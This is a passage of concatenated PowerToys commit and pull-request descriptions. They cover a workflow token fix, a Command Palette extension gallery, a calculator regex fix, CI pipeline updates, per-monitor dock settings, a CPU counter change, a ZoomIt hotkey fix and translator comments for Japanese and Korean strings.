GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
`
5 lines added, 0 removed.
## Security
- `secrets.GITHUB_TOKEN` is the workflow's built-in ephemeral token
(auto-issued per run, auto-revoked at job end). Not a PAT.
- Scope is already constrained by `permissions: models: read, issues:
write` at the top of the workflow. No widening.
- Exposure is unchanged: the token is already loaded into the same Node
process by `actions/github-script` via `github-token:`. The `env:`
mapping just lets the script body read what the action already has in
the same process.
- The token is sent only to GitHub's own GitHub Models inference
endpoint, which is the documented use of `models: read`.
- Triggers are safe: `issues: opened/reopened` (issue body is
JSON-encoded into the request body, never interpolated into a shell) and
`workflow_dispatch` (write-access required).
- Token is never logged.
## Validation
After merge, re-run the workflow on issue #47818 via Actions ->
"Auto-label Issues by Area" -> Run workflow, and confirm logs show
`Model response: ...` instead of `GITHUB_TOKEN is not set; skipping.`
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Adds the **Extension Gallery** to Command Palette — a built-in page
where users can discover, browse, and install community extensions
without leaving the app.
https://github.com/user-attachments/assets/e4565333-b970-4085-9e40-5cfd207e533b
## How it works
### 1. The extension author's side
Extensions are listed in the external repo
**[`microsoft/CmdPal-Extensions`](https://github.com/microsoft/CmdPal-Extensions)**.
To get an extension into the in-app gallery, an author opens a PR there
that adds a single entry to `extensions.json`. Nothing in PowerToys
itself needs to change. A typical entry looks like:
```json
{
"id": "contoso.sample",
"title": "Sample Extension",
"description": "Short blurb shown in the list and detail view.",
"author": { "name": "Contoso", "url": "https://github.com/contoso" },
"homepage": "https://github.com/contoso/sample",
"iconUrl": "https://.../icon.png",
"screenshotUrls": ["https://.../screenshot-1.png"],
"tags": ["sample"],
"installSources": [
{ "type": "winget", "id": "Contoso.SampleExtension" },
{ "type": "msstore", "id": "9P..." },
{ "type": "url", "uri": "https://github.com/contoso/sample/releases/latest" }
],
"detection": { "packageFamilyName": "Contoso.SampleExtension_8wekyb..." }
}
```
- `id`, `title`, `description`, `author.name`, and at least one
`installSources` entry are required; everything else is optional.
- `installSources` can mix and match `winget` / `msstore` / `url`. The
gallery shows an install button for the first source it can handle
(WinGet preferred) and exposes any remaining sources as links.
- `detection.packageFamilyName` lets CmdPal recognise an
already-installed packaged extension before any WinGet lookup resolves,
so the "Installed" badge appears instantly.
Once the PR is merged into `CmdPal-Extensions`, every running copy of
CmdPal picks the new entry up the next time its feed cache expires
(within 4 hours) or when the user clicks **Refresh**.
### 2. What CmdPal does with it
`ExtensionGalleryService` (in `Microsoft.CmdPal.Common`) owns the whole
pipeline:
1. **Resolve the feed URL.** Default is
`https://raw.githubusercontent.com/microsoft/CmdPal-Extensions/refs/heads/main/extensions.json`.
A hidden setting (`GalleryFeedUrl`) lets developers point at a custom
URL or a `file://` path for local testing.
2. **Fetch** the feed through `ExtensionGalleryHttpClient`, which wraps
`HttpCachingClient` — a conditional-GET + on-disk cache layer built on
`HttpClient` (ETag / `If-None-Match`, 30 s timeout, UA
`PowerToys-CmdPal/1.0`).
3. **Parse** with the source-generated `GallerySerializationContext`
into a strongly-typed `GalleryRemoteIndex` (`{ "extensions": [ ... ]
}`). Entries without an `id` are dropped.
4. **Normalize** relative `iconUrl` / `screenshotUrls` against the feed
URL (useful for local `file://` feeds).
5. **Localize icons.** Each HTTP icon URL is pulled through the same
cache and rewritten to a local `file://` URI before the view model binds
to it, so the list renders instantly on subsequent loads and works
offline.
6. **Prune** cached resources that are no longer referenced, but only
after a successful forced refresh.
The gallery page itself is built on top of `ExtensionGalleryViewModel`,
with `ExtensionGalleryItemViewModel` handling per-entry concerns —
install/update/uninstall (via the shared WinGet service),
installed-state detection, and joining in-flight install progress so the
global `WinGetOperationsButton` in the top bar stays in sync.
### 3. Caching + offline behaviour
The cache lives under
`ApplicationData.Current.LocalCacheFolder\GalleryCache\` when CmdPal
runs packaged, or
`%LOCALAPPDATA%\Microsoft\PowerToys\Microsoft.CmdPal\Cache\GalleryCache\`
when unpackaged.
| Resource | TTL |
|-----------------|----------|
| `extensions.json` feed | 4 hours |
| Icons (per URL) | 24 hours |
Each fetch returns a `GalleryFetchResult` whose flags drive the UI:
- `FromCache` — cache was still fresh, no network call was made.
- `UsedFallbackCache` — network failed; the last-known-good cached copy
was served instead. The page shows a "showing cached data" info bar.
- `RateLimited` — origin returned `429` and no fallback was available.
The page shows a rate-limit error.
`RefreshAsync` (wired up to the gallery's refresh button) forces a fresh
conditional GET, then prunes any cached files that the new feed no
longer references.
### 4. WinGet install flow
- `installSources[type=winget].id` is handed to the shared WinGet
service for install/update/uninstall.
- In-flight operations are surfaced by `WinGetOperationsButton` in the
top bar with per-operation progress.
- `detection.packageFamilyName` is consulted first so that the gallery
can show "Installed" / "Update available" without waiting on WinGet
metadata.
### Top-level command cleanup
- Removed the separate "Find extensions from WinGet" and "Find
extensions from the Store" top-level commands — the gallery replaces
both.
- Renamed the gallery command to **"Find and install Command Palette
extensions"** and gave it the extensions puzzle-piece icon.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## New projects / areas
| Area | What |
|------|------|
| Microsoft.CmdPal.Common | Gallery models, `ExtensionGalleryService`
(fetch + cache), HTTP caching layer (`HttpCachingClient`,
`FileSystemHttpResourceCacheStore`), WinGet service abstractions and
implementations |
| Microsoft.CmdPal.UI.ViewModels | `ExtensionGalleryViewModel`,
`ExtensionGalleryItemViewModel`, WinGet operation view models, gallery
sort options |
| Microsoft.CmdPal.UI | `ExtensionGalleryPage.xaml`,
`ExtensionGalleryItemPage.xaml`, `IconCarouselControl`,
`WinGetOperationsButton`, service registrations |
| Microsoft.CmdPal.Ext.WinGet | Streamlined — removed the two redundant
"find extensions" top-level commands, kept the general WinGet search
page |
| Tests | Unit tests for gallery service, gallery view models, WinGet
services |
| Docs |
[`doc/devdocs/modules/cmdpal/extension-gallery/extension-gallery.md`](https://github.com/microsoft/PowerToys/blob/dev/jpolasek/f/46628-cmdpal-extension-gallery/doc/devdocs/modules/cmdpal/extension-gallery/extension-gallery.md)
— dev reference for the runtime, caching, and feed shape |
## Validation Steps Performed
- Gallery loads and displays extensions from the remote index
- Search, sort, and filtering work as expected
- WinGet install/update/uninstall flow works end-to-end with progress
tracking
- Loading state correctly hides all content until data is fetched
- Offline / cache-fallback path surfaces the info bar as expected
- Spell-check CI workflow passes
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
## Summary of the Pull Request
The Calculator components in Command Palette and Run produced incorrect
results or errors for `log` and `ln` inputs where spaces exist between
the function name and the argument list. This is because input
validation allowed for those spaces, but this was not respected in the
log mapping code which transforms user input into a string for
consumption by the expression evaluator engine.
The result of this is discrepancy was that:
- Natural log would be called instead of log base 10 for `log (n)`.
- An error would be shown for `ln (n)`.
For example:
<img width="556" height="166" alt="image"
src="https://github.com/user-attachments/assets/d2110292-ca8f-4635-bdef-9fa4f2211deb"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47759
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The issue was with this code:
a650504640/src/modules/launcher/Plugins/Microsoft.PowerToys.Run.Plugin.Calculator/CalculateEngine.cs (L56-L58)
This maps user input such as `log(10)` or `ln(10)` to the functions the
back-end expression evaluator understands. For Mages and ExprTK, this is
mapped to `log10(n)` for base 10 logs or `log(n)` for natural logs.
Unfortunately, the input validator regex allows for spaces between the
function name and the start of the argument list, and the string replace
does not. When spaces exist:
- For `log (n)` - the log10 match is missed and the expression is
interpreted as a natural log, producing incorrect results.
- For `ln (n)` - the string is passed as-is to the back-end. Neither
Mages nor ExprTK recognise it, so an error is returned.
The fix is to replace the string replacement code with two regexes.
These are both forgiving of spaces between the function name and
argument list:
For log base 10: `"log(?![0-9])\\s*\\("`
For natural log: `"ln\\s*\\("`
Both are culture-agnostic and have `IgnoreCase` set. I took the
opportunity to remove the "en-US" culture from the
`DivisionByZeroRegex`, as it is not required.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Added unit tests which ensure the log and ln functions perform
identically with or without spaces. Confirmed all unit tests for Command
Palette and Run still pass.
Manually confirmed that `log` and `ln` now produce correct results in
both applications.
## Problem
The scheduled UI Test Automation pipeline
([Dart/161438](https://microsoft.visualstudio.com/Dart/_build?definitionId=161438))
has been failing daily since 2026-04-30 because PR #41280 (`.NET 10
Upgrade`) updated the main build template (`job-build-project.yml`) for
.NET 10 / VS 2026 but the parallel changes were missed in the UI Test
Automation templates.
Symptoms in recent runs (e.g. build
[#20260512.1](https://microsoft.visualstudio.com/Dart/_build/results?buildId=146803928)):
```
error NETSDK1045: The current .NET SDK does not support targeting .NET 10.0.
Either target .NET 9.0 or lower, or use a version of the .NET SDK that supports .NET 10.0.
```
…emitted ×179 across every csproj during the *Restore solution-level
NuGet packages* step on both `Build UI Tests Only Release_x64` and
`…_arm64` jobs.
## Changes
This PR mirrors the two pipeline changes that PR #41280 already applied
to the main CI templates.
**1. Install the .NET 10 SDK on the build agent**
- File: `.pipelines/v2/templates/job-build-ui-tests.yml`
- Bump the pinned `steps-ensure-dotnet-version.yml` parameter from
`version: '9.0'` → `'10.0'`.
- Matches `job-build-project.yml`, which already installs the .NET 10
SDK alongside 6.0/8.0.
**2. Pin the build agent image to VS 2026 (MSBuild 18)**
- File: `.pipelines/v2/templates/pipeline-ui-tests-official-build.yml`
- Add `demands: ImageOverride -equals SHINE-VS18-Latest` to the agent
pool spec.
- The .NET 10 SDK (≥ 10.0.300) requires MSBuild 18, which only ships
with VS 2026. Without this demand, the SHINE pool selects a default
image with VS 2022 / MSBuild 17 and restore fails with `MSB4236: The SDK
'Microsoft.NET.Sdk' specified could not be found`.
- Mirrors the unconditional pattern in `pipeline-ci-build.yml` (lines
56–67), which applies the same demand across both `SHINE-INT-L` and
`SHINE-OSS-L` pools.
## Validation
Queued pipeline 161438 against this branch:
| Build | Commit | Result |
| --- | --- | --- |
|
[`146821554`](https://microsoft.visualstudio.com/Dart/_build/results?buildId=146821554)
| `4dd13b9` (SDK fix only) | `NETSDK1045` gone ✅ — exposed VS 2022 /
MSBuild 17 mismatch |
|
[`146825355`](https://microsoft.visualstudio.com/Dart/_build/results?buildId=146825355)
| `97cadbb` (SDK + agent demand) | Both errors gone ✅ — agent now
`Visual Studio\18\Enterprise\` |
After this PR, the pipeline reaches NuGet restore and now hits a
separate, **pre-existing** issue from the April 13–29 failure window:
`401 Unauthorized` on the `shine-oss/PowerToysPublicDependencies`
Artifacts feed for newly-released `Microsoft.NETCore.App.*/8.0.27`
packages. That requires feed-admin action (granting the Dart pipeline
build identity "save from upstream" on the feed, or pre-seeding those
package versions) and is **out of scope for this PR**.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Two related changes to the `release-note-generation` agent skill:
### 1. Step 3 reviews: use the local agent instead of
`mcp_github_request_copilot_review`
Step 3.1 previously instructed the agent to call
`mcp_github_request_copilot_review` for every milestone PR so that the
`CopilotSummary` column in `sorted_prs.csv` would be populated by the
GitHub-side Copilot bot.
When this skill is driven from a CLI / coding agent, that request comes
from a bot identity, and the GitHub API rejects it (`Bot reviewers
cannot be requested`). The PR ends up with no Copilot review and
`CopilotSummary` stays empty.
`references/step3-review-grouping.md` has been rewritten to instead have
**the local agent** that is running the skill perform the review itself:
- Fetch each PR's diff with a non-mutating tool
(`mcp_github_pull_request_read` `get_diff` / `get_files`, or `gh pr
diff`).
- Produce a 1-3 sentence user-facing summary in the same style as a
Copilot PR review.
- Write the summary directly into the `CopilotSummary` column of
`Generated Files/ReleaseNotes/sorted_prs.csv`, preserving row order and
skipping rows that already have a non-empty summary.
Step 3.2 (re-run `dump-prs-since-commit.ps1`) is demoted to optional,
with a note that re-running the dump will overwrite the
locally-generated summaries.
`SKILL.md` was updated to match: front-matter description, "When to
Use", workflow diagram, the 3.1-3.3 row in the summary table,
prerequisites (no longer requires "GitHub Copilot code review enabled
for the org/repo"; mentions MCP for fetching diffs), and the
troubleshooting row for empty `CopilotSummary` now points at Step 3.1
with the bot-rejection caveat.
### 2. Vendor `prepare-release-assets.ps1` into the skill
Added `scripts/prepare-release-assets.ps1` -- previously kept in
OneDrive at `Tools/prepare-release.ps1`. Renamed because the script does
more than download installers: it also pulls per-arch symbol archives,
computes SHA256, and emits the **Installer Hashes** markdown table for
the GitHub release page. "Release assets" captures all of that.
Header `.SYNOPSIS` / `.DESCRIPTION` / `.EXAMPLE` blocks were updated to
reflect the new filename and the symbol-archive behavior (the original
synopsis only mentioned installers).
`SKILL.md` registers the new script in the "Available Scripts" table,
lists Azure CLI + the `azure-devops` extension as a prerequisite (only
when running this script), adds a "Prepare GitHub release assets" entry
to "When to Use", and adds a troubleshooting row for the most common
failure (`Failed to acquire ADO access token` -> `az login`).
## Files changed
| File | Change |
|------|--------|
| `.github/skills/release-note-generation/SKILL.md` | Updated
description, prerequisites, workflow, scripts table, troubleshooting |
|
`.github/skills/release-note-generation/references/step3-review-grouping.md`
| Rewritten to use local-agent review; demoted refresh step |
|
`.github/skills/release-note-generation/scripts/prepare-release-assets.ps1`
| New (vendored from OneDrive) |
## Validation
- PowerShell parser ([`Parser]::ParseFile`) reports no errors on the new
script.
- Documentation-only / scripts-only change -- no product code touched,
so the standard PowerToys build / test gates do not apply.
- The change preserves the existing CSV schema (`Id, Title, Labels,
Author, Url, Body, CopilotSummary, NeedThanks`), so downstream Step 3.3
(`group-prs-by-label.ps1`) and Step 4 summarization continue to work
without modification.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
1. Adds an opt-in Max compatibility mode in PowerDisplay's Advanced
settings. When enabled, DDC discovery probes monitors that don't
advertise capabilities, picking up displays that would otherwise be
skipped.
2. Toggling the setting triggers an immediate rescan via a new
RescanPowerDisplayMonitorsEvent IPC event from Settings to PowerDisplay.
3. Hides the brightness slider on monitors that lack VCP 0x10.
Also fixed animation issue #47868
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47878
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
This pull request introduces per-monitor dock customization support and
refactors how dock band settings are managed to enable independent
layouts on different monitors. The changes add a new
`DockMonitorConfigViewModel` for monitor-specific configuration, update
`DockViewModel` to handle per-monitor band lists and settings, and
refactor band movement and ordering logic to respect per-monitor
overrides.
**Per-monitor dock customization:**
* Added `DockMonitorConfigViewModel` to encapsulate the configuration
and state for each monitor, exposing properties for binding and
persisting changes using `ISettingsService`.
* Updated `DockViewModel` to track an optional `MonitorDeviceId`,
enabling docks to be associated with a specific monitor and to expose
per-monitor settings and methods.
[[1]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L17-R33)
[[2]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L41-R56)
**Band management refactor for per-monitor settings:**
* Refactored band retrieval and update logic in `DockViewModel` to use
new helper methods (`GetActiveBands`, `WithActiveBands`) that select and
modify either global or per-monitor band lists as appropriate.
* Updated band movement and ordering methods (`SyncBandPosition`,
`MoveBandWithoutSaving`, `SaveBandOrder`) to operate on the correct band
lists for each monitor, ensuring that changes apply to the intended
scope (global or per-monitor).
[[1]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L205-R399)
[[2]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L250-R413)
[[3]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L263-R424)
[[4]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L280-R437)
[[5]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L290-R447)
[[6]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L300-R465)
[[7]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L329-R491)
**Resource management:**
* Implemented `IDisposable` on `DockViewModel` to clean up event
handlers and prevent resource leaks.
[[1]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06L17-R33)
[[2]](diffhunk://#diff-b661a9311de64dd1123860e858f1f4963f05ccee06b5bd218916635495b2ff06R85-R235)
Closes#46939
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Mike Griese <migrie@microsoft.com>
## Summary of the Pull Request
The system-wide CPU counter in the Command Palette Performance monitor
used `% Processor Utility`, which is scaled by `% Processor Performance`
and is intentionally unbounded above 100% when cores boost above their
nominal base frequency. Under load this produced values like 144% in the
dock, as reported in #46381.
Switch to `% Processor Time` — the same counter Task Manager renders —
which is naturally bounded to 0-100%.
The per-process branch is unaffected; it already divides by
`Environment.ProcessorCount` and continues to use `% Processor Time`, so
individual process readings remain correct.
## PR Checklist
- [x] **Closes:** #46381
- [x] **Communication:** I've discussed this with the team/maintainers
via the linked issue.
- [x] **Tests:** Manually tested locally. Built
`Microsoft.CmdPal.Ext.PerformanceMonitor` and the full
`CommandPalette.slnf` (Debug|x64). Verified the built DLL contains `%
Processor Time` and no longer contains `% Processor Utility`.
- [x] **Manual tests:** Ran the rebuilt dev build under sustained CPU
load; the system CPU figure now stays bounded to 100%.
- [x] **Localization:** Not applicable — counter name is an OS API
string, not user-visible text.
## Detailed Description of the Pull Request / Additional comments
`% Processor Utility` is documented by Microsoft as deliberately
unbounded; it represents an "effective" utilization that accounts for
turbo/boost frequencies. It is well-suited for billing/capacity contexts
but not for a "% of CPU used" UI element where users expect a 0-100%
reading consistent with Task Manager and Resource Monitor.
`_procPerformance` (the `% Processor Performance` counter) is retained
because it is still used by `CpuSpeed` to compute the live frequency
display, so removing it would regress the speed readout.
### Before
System CPU dock showed values >100% under load (reported 144% in the
issue).
### After
System CPU dock is bounded to 0-100%, matching Task Manager.
## Summary of the Pull Request
ZoomIt derives three recording hotkeys from one base key via XOR:
fullscreen (base), crop (base XOR Shift), window (base XOR Alt). When
Alt is the sole modifier, `base XOR Alt = 0`, registering a
modifier-less hotkey that captures every bare keypress (e.g., pressing
`5` triggers window recording).
**`Zoomit.cpp`** — 4 hotkey registration sites:
- Guard `RECORD_CROP_HOTKEY` registration behind `(g_RecordToggleMod ^
MOD_SHIFT) != 0`
- Guard `RECORD_WINDOW_HOTKEY` registration behind `(g_RecordToggleMod ^
MOD_ALT) != 0`
```cpp
// Before (all 4 sites):
registerHotkey( RECORD_CROP_HOTKEY, ( g_RecordToggleMod ^ MOD_SHIFT ) | MOD_NOREPEAT, ... );
registerHotkey( RECORD_WINDOW_HOTKEY, ( g_RecordToggleMod ^ MOD_ALT ) | MOD_NOREPEAT, ... );
// After:
if ( g_RecordToggleMod ^ MOD_SHIFT ) {
registerHotkey( RECORD_CROP_HOTKEY, ( g_RecordToggleMod ^ MOD_SHIFT ) | MOD_NOREPEAT, ... );
}
if ( g_RecordToggleMod ^ MOD_ALT ) {
registerHotkey( RECORD_WINDOW_HOTKEY, ( g_RecordToggleMod ^ MOD_ALT ) | MOD_NOREPEAT, ... );
}
```
**`ZoomItViewModel.cs`** — `RecordToggleKeyCrop` /
`RecordToggleKeyWindow` computed properties:
- Return `null` when the derived hotkey would have no modifier keys, so
the Settings UI omits the inapplicable shortcut description rather than
displaying a bare-key shortcut.
## PR Checklist
- [ ] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
ZoomIt registers crop and window recording variants by XOR-ing the base
modifier with `MOD_SHIFT` and `MOD_ALT` respectively. This design breaks
when the base modifier equals the XOR target — the result is `0`, and
`RegisterHotKey` with no modifiers intercepts every bare keypress of
that key system-wide.
The fix is symmetric across all 4 registration sites (standalone
`registerHotkey()` in `RegisterAllHotkeys`, the legacy dialog OK path,
and two `WM_CREATE`-adjacent paths): skip the derived hotkey
registration when the computed modifier is zero. The Settings UI
ViewModel mirrors this logic by returning `null` for the affected
computed properties, causing the converter to emit an empty string
instead of a modifier-less shortcut label.
## Validation Steps Performed
- Code review confirmed fix is applied consistently across all 4
`RegisterHotKey` call sites in `Zoomit.cpp`
- Verified `HotkeySettingsToLocalizedStringConverter` returns
`string.Empty` for `null` input — no display regression in Settings UI
- Confirmed the default `Ctrl+5` hotkey is unaffected (`MOD_CONTROL ^
MOD_ALT = MOD_CONTROL | MOD_ALT ≠ 0`)
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: MuyuanMS <116717757+MuyuanMS@users.noreply.github.com>
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Two FancyZones Editor strings have misleading Japanese translations due
to ambiguous English phrasing:
- **"Space around zones"** → 「ゾーン周りのスペース」 (generic space/room) — should
be 「ゾーン周りの余白」 (margin/padding)
- **"Highlight distance"** → 「距離を強調表示」 (distance to visually emphasize)
— should be 「隣接するゾーンの検知距離」 (detection distance for adjacent zones)
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Changes to `FancyZonesEditor/Properties/Resources.resx`:
- **`Distance_adjacent_zones`** — Rewrote existing comment to explicitly
state this is a *detection/snapping proximity distance* (px at which a
nearby zone activates), not a visual-emphasis concept. Prevents
translators from reaching for 強調表示 ("visually highlight/emphasize").
- **`Space_Around_Zones`** — Added comment clarifying this is
*padding/margin* (empty gap in pixels) between zones, not a generic
space/area. Guides translators toward 余白 over スペース.
- **`Show_Space_Zones`** — Added comment clarifying this is a toggle for
enabling/disabling the padding display.
```xml
<data name="Distance_adjacent_zones" xml:space="preserve">
<value>Highlight distance</value>
<comment>The pixel distance at which an adjacent zone highlights (lights up) when a window is dragged near it. This is about detection/snapping range proximity, not about making something visually stand out.</comment>
</data>
<data name="Space_Around_Zones" xml:space="preserve">
<value>Space around zones</value>
<comment>The size (in pixels) of the padding or margin (empty gap) surrounding each zone. This is about blank space/whitespace between zones, not an area or region.</comment>
</data>
```
## Validation Steps Performed
Verified `Resources.resx` is well-formed XML and that the modified
entries render correctly in the resource file. No runtime behavior is
changed — comments are translator-only metadata consumed by the
Touchdown Build localization pipeline.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
The Korean translation of "Activation modifier key"
(`GrabAndMove_ModifierKey.Header`) was rendered as "정품인증 보조키" ("product
authentication/genuine certification modifier key") — conflating feature
activation with Windows product licensing. The correct translation is
"활성화 보조 키".
## Change
- **`src/settings-ui/Settings.UI/Strings/en-us/Resources.resw`**:
Expanded the `<comment>` on `GrabAndMove_ModifierKey.Header` to
explicitly disambiguate "Activation" for translators:
```xml
<comment>Drop-down to choose which modifier key (Alt or Win) activates Grab And Move drag and resize.
"Activation" here means to enable/trigger the feature (활성화 in Korean),
NOT product authentication/genuine certification (정품인증 in Korean).</comment>
```
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
The word "Activation" is ambiguous in Korean: it can refer to Windows
product license activation (정품인증) or feature enablement (활성화). The
localization pipeline picked the wrong interpretation. Adding an
explicit in-source comment with both the correct and incorrect Korean
terms guides the translation tooling and human reviewers to use "활성화 보조
키" going forward.
## Validation Steps Performed
- Verified the updated comment appears correctly in the `.resw` file.
- No runtime behavior changes; comment-only modification to the resource
